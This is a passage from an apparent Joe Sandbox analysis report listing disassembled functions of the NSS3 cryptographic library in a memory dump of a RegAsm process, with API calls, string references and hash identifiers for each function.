Part of subcall function 6C02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C1018D0,?), ref: 6C02B095

DER_GetInteger_Util.NSS3(?), ref: 6BFDB007

Part of subcall function 6C026A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6BFD1666,?,6BFDB00C,?), ref: 6C026AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6BFDB02F
PR_CallOnce.NSS3(6C132AA4,6C0312D0), ref: 6BFDB046
PL_FreeArenaPool.NSS3 ref: 6BFDB058
PL_FinishArenaPool.NSS3 ref: 6BFDB060

Strings

security, xrefs: 6BFDAFB8

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 3b410c19d5b2c723d04e162bdf1079b09b6a64327ae62d30cf47dd47f58f0f77
Instruction ID: 29aae69189dc89d46ef59ca3352b7c5506fbfd9953ea21c1e29949b888821da2
Opcode Fuzzy Hash: 3b410c19d5b2c723d04e162bdf1079b09b6a64327ae62d30cf47dd47f58f0f77
Instruction Fuzzy Hash: 49315B7240430097DB108F28DC89BAA77E4AF8676CF040E59E9785B7E2E73AD109C793

Function 6C01CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C01CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C01CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C01D079

Part of subcall function 6C07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C07C2BF

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 248a5e1eb81cd8fdd0fcdbadfb7c379c721cb9bcac362e5e50a60a7eca21cc06
Instruction ID: 4ba4f93d110cf3426136e26adc8055234e54600ac676515d1ce3b951c2599526
Opcode Fuzzy Hash: 248a5e1eb81cd8fdd0fcdbadfb7c379c721cb9bcac362e5e50a60a7eca21cc06
Instruction Fuzzy Hash: BCC16AB1A042199FDB21CF64CC80BDAB7F4AB48318F1441A8E948A7B41E775EA95CF90

Function 6BFF8F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6BFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6BFF8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6BFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6BFF8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6BFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6BFF8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6BFEDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6BFF9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6BFEDA9B,?,00000000,?,?,?,?,CE534353), ref: 6BFF9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6BFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6BFF905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6BFEDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6BFF9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6BFEDA9B,?,00000000,?,?,?,?,CE534353), ref: 6BFF90EC

Part of subcall function 6BFC0F00: PR_GetPageSize.NSS3(6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000,?,6BF5204A), ref: 6BFC0F1B
Part of subcall function 6BFC0F00: PR_NewLogModule.NSS3(clock,6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000,?,6BF5204A), ref: 6BFC0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6BFEDA9B,?,00000000,?,?,?,?,CE534353), ref: 6BFF9111

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: acc365b449f81128119798f89932bbb59ed0dfdc543d6db85e9cd20be558e833
Instruction ID: 48cad42163c339edc753cb8fdae1ea10bbbeabcb7edb77e0b0bf1ef630c0db53
Opcode Fuzzy Hash: acc365b449f81128119798f89932bbb59ed0dfdc543d6db85e9cd20be558e833
Instruction Fuzzy Hash: 63518076A046058FDF00EF38C4C8659BBF9BF4A314F0545A9DC499B366DB38E886CB91

Function 6BFD8980 Relevance: 13.6, APIs: 9, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6BFD7310), ref: 6BFD89B8

Part of subcall function 6C031200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6BFD88A4,00000000,00000000), ref: 6C031228
Part of subcall function 6C031200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C031238
Part of subcall function 6C031200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6BFD88A4,00000000,00000000), ref: 6C03124B
Part of subcall function 6C031200: PR_CallOnce.NSS3(6C132AA4,6C0312D0,00000000,00000000,00000000,?,6BFD88A4,00000000,00000000), ref: 6C03125D
Part of subcall function 6C031200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C03126F
Part of subcall function 6C031200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C031280
Part of subcall function 6C031200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C03128E
Part of subcall function 6C031200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C03129A
Part of subcall function 6C031200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C0312A1

PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6BFD7310), ref: 6BFD89E6
PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6BFD8A00
CERT_CopyRDN.NSS3(00000004,00000000,6BFD7310,?,?,00000004,?), ref: 6BFD8A1B
PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6BFD8A74
PR_SetError.NSS3(FFFFE005,00000000,00000000,?,00000028,?,?,6BFD7310), ref: 6BFD8AAF
PORT_ArenaAlloc_Util.NSS3(00000004,00000008,00000000,?,00000028,?,?,6BFD7310), ref: 6BFD8AF3
PORT_ArenaGrow_Util.NSS3(00000004,?,C8850FC0,00000000,00000000,?,00000028,?,?,6BFD7310), ref: 6BFD8B1D

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Arena$Util$Alloc_$CriticalFreeGrow_PoolSectionfree$Arena_CallClearCopyDeleteEnterErrorOnceUnlockValue
String ID:
API String ID: 3791662518-0
Opcode ID: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction ID: 477d3177acb15e66b9376a00a36582018050633e13adeea87744591066552a3e
Opcode Fuzzy Hash: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction Fuzzy Hash: B951EC73A00210BFE7118F14CC40B6AB7A4EF46758F099298ED195F3A1E779E905CB91

Function 6C034DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C03536F,00000022,?,?,00000000,?), ref: 6C034E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C034F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C034F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C034FAE
free.MOZGLUE(?), ref: 6C034FC8

Strings

%s=%s, xrefs: 6C034F89
%s=%c%s%c, xrefs: 6C034FA9

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 9cf4cd161c5341341d9af0c6827bb274967f7ad70ca6e5f07dc8f8c58f2ec41f
Instruction ID: 1a529706c458b62466d17eaf8e627ade407cbd61607846b83dccf2bbd5bb3e44
Opcode Fuzzy Hash: 9cf4cd161c5341341d9af0c6827bb274967f7ad70ca6e5f07dc8f8c58f2ec41f
Instruction Fuzzy Hash: F6513B31A05177ABEB01CAEAC8507FF7FF59F42308F189115E898AFB80D33A88458791

Function 6BFC69A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 6BF5CA30: EnterCriticalSection.KERNEL32(?,?,?,6BFBF9C9,?,6BFBF4DA,6BFBF9C9,?,?,6BF8369A), ref: 6BF5CA7A
Part of subcall function 6BF5CA30: LeaveCriticalSection.KERNEL32(?), ref: 6BF5CB26

memset.VCRUNTIME140(00000000,00000000,?), ref: 6BFC6A02
EnterCriticalSection.KERNEL32(?), ref: 6BFC6AA6
LeaveCriticalSection.KERNEL32(?), ref: 6BFC6AF9
sqlite3_free.NSS3(00000000), ref: 6BFC6B15
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000BCCC), ref: 6BFC6BA6

Strings

winDelete, xrefs: 6BFC6B71
delayed %dms for lock/sharing conflict at line %d, xrefs: 6BFC6B9F

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_freesqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 1816828315-1405699761
Opcode ID: 987b191ae9c3434e7b47117ffc54a6727e5b3cc068ba91dcc195bab61c972bc3
Instruction ID: 73c087c9949a53629533a05fa678633bb020c7ba07042b3bdc6152e2e9e8680b
Opcode Fuzzy Hash: 987b191ae9c3434e7b47117ffc54a6727e5b3cc068ba91dcc195bab61c972bc3
Instruction Fuzzy Hash: 4A510636B04106BBEB089BB4DC59ABF7B75EF47315B004028F51A972A0DB3C9981DB93

Function 6C00ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C00ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C00AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C00AD23

Part of subcall function 6C0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C00AD39

Strings

C_MessageDecryptFinal, xrefs: 6C00ACE1
hSession = 0x%x, xrefs: 6C00ACFE, 6C00AD0E
(CK_INVALID_HANDLE), xrefs: 6C00AD1C

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 4b1356fe863492abeeef5dce2cc95514999d5b52856da41440885f54fddd4c53
Instruction ID: 7d5670881b041951881048cf01e22e728fb28787f2acacd399dd59f8149abf63
Opcode Fuzzy Hash: 4b1356fe863492abeeef5dce2cc95514999d5b52856da41440885f54fddd4c53
Instruction Fuzzy Hash: A62137317001049FEF10AB64ED88B6B37F5EB4670DF150026E80E97612DB34E989EAD2

Function 6C0E0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C0E0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C0E0EFA

Part of subcall function 6BFCAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6BFCAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C0E0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C0E0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C0E0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C0E0F2B

Strings

Aborting, xrefs: 6C0E0EB3
Assertion failure: %s, at %s:%d, xrefs: 6C0E0ED9, 6C0E0EE5, 6C0E0F06, 6C0E0F0B

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: a2eb421b5e9d3faf32404e7ada63816d5d96c0283d39ea3f63244011e9856cdd
Instruction ID: 3a8978180642ce36c1219213d305a9b214f0897197d60178480674ac9d65fed2
Opcode Fuzzy Hash: a2eb421b5e9d3faf32404e7ada63816d5d96c0283d39ea3f63244011e9856cdd
Instruction Fuzzy Hash: CA0104B59001187FDF00AFA8DC5589B3F7CDF46268B004025FD0987601DA35E990A7E2

Function 6C0A4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C0A4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C0A4DE0

Strings

API call with %s database connection pointer, xrefs: 6C0A4DBD
invalid, xrefs: 6C0A4DB8
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C0A4DCB
%s at line %d of [%.10s], xrefs: 6C0A4DDA
misuse, xrefs: 6C0A4DD5

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: cbee0cf116acb3fef9c7db8d821bcd292b4ddfa8e07d853fbc955b8748d2dc3f
Instruction ID: cdd156383230d81b99f8fffdde85d314d6c9cf1548ba28d5779efad9c21e2106
Opcode Fuzzy Hash: cbee0cf116acb3fef9c7db8d821bcd292b4ddfa8e07d853fbc955b8748d2dc3f
Instruction Fuzzy Hash: 7FF0592AF046243BDF0040D5CC19F863BD56F0136CF5629B1ED08BBE63DE09995183C0

Function 6C0A4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C0A4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C0A4E4D

Strings

API call with %s database connection pointer, xrefs: 6C0A4E2A
invalid, xrefs: 6C0A4E25
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C0A4E38
%s at line %d of [%.10s], xrefs: 6C0A4E47
misuse, xrefs: 6C0A4E42

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: ad881dc692c51ed5bf37f83c1d5099c439f12c8538871e3a95e87ef09cf17b45
Instruction ID: 0b8be1d7ef98c7467d45e131c1d1e6e7925dbf5835b944366d48439c0e4eb262
Opcode Fuzzy Hash: ad881dc692c51ed5bf37f83c1d5099c439f12c8538871e3a95e87ef09cf17b45
Instruction Fuzzy Hash: 84F09E25F445183BD60080E9CC19F8237C95B1132EF08A6B1EA0D67EA3DF19992202D1

Function 6C010C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C011444,?,00000001,?,00000000,00000000,?,?,6C011444,?,?,00000000,?,?), ref: 6C010CB3

Part of subcall function 6C07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C07C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C011444,?,00000001,?,00000000,00000000,?,?,6C011444,?), ref: 6C010DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C011444,?,00000001,?,00000000,00000000,?,?,6C011444,?), ref: 6C010DEC

Part of subcall function 6C030F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6BFD2AF5,?,?,?,?,?,6BFD0A1B,00000000), ref: 6C030F1A
Part of subcall function 6C030F10: malloc.MOZGLUE(00000001), ref: 6C030F30
Part of subcall function 6C030F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C030F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C011444,?,00000001,?,00000000,00000000,?), ref: 6C010DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C011444,?,00000001,?,00000000), ref: 6C010E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C011444,?,00000001,?,00000000,00000000,?), ref: 6C010E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C011444,?,00000001,?,00000000,00000000,?,?,6C011444,?,?,00000000), ref: 6C010E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C011444,?,00000001,?,00000000,00000000,?), ref: 6C010E79

Part of subcall function 6C021560: TlsGetValue.KERNEL32(00000000,?,6BFF0844,?), ref: 6C02157A
Part of subcall function 6C021560: EnterCriticalSection.KERNEL32(?,?,?,6BFF0844,?), ref: 6C02158F
Part of subcall function 6C021560: PR_Unlock.NSS3(?,?,?,?,6BFF0844,?), ref: 6C0215B2

Part of subcall function 6BFEB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6BFF1397,00000000,?,6BFECF93,5B5F5EC0,00000000,?,6BFF1397,?), ref: 6BFEB1CB
Part of subcall function 6BFEB1A0: free.MOZGLUE(5B5F5EC0,?,6BFECF93,5B5F5EC0,00000000,?,6BFF1397,?), ref: 6BFEB1D2

Part of subcall function 6BFE89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6BFE88AE,-00000008), ref: 6BFE8A04
Part of subcall function 6BFE89E0: EnterCriticalSection.KERNEL32(?), ref: 6BFE8A15
Part of subcall function 6BFE89E0: memset.VCRUNTIME140(6BFE88AE,00000000,00000132), ref: 6BFE8A27
Part of subcall function 6BFE89E0: PR_Unlock.NSS3(?), ref: 6BFE8A35

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 1c8ff5299eb6101b1df2996d09b324ec1081ffca9bf7eda40624bc6f028680c7
Instruction ID: 424d3f19462efc5d789cc95f729740dd2749112b52b76740ca73accd09ccf561
Opcode Fuzzy Hash: 1c8ff5299eb6101b1df2996d09b324ec1081ffca9bf7eda40624bc6f028680c7
Instruction Fuzzy Hash: 8751C4B6E042115FEB109FB5DC82BAF77E89F0521CF150024EC4997B22EB25ED2586A2

Function 6BFC6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6BFC6ED8
sqlite3_value_text.NSS3(?,?), ref: 6BFC6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6BFC6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6BFC6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6BFC6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6BFC7010
sqlite3_value_blob.NSS3(?,?), ref: 6BFC701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6BFC7052

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

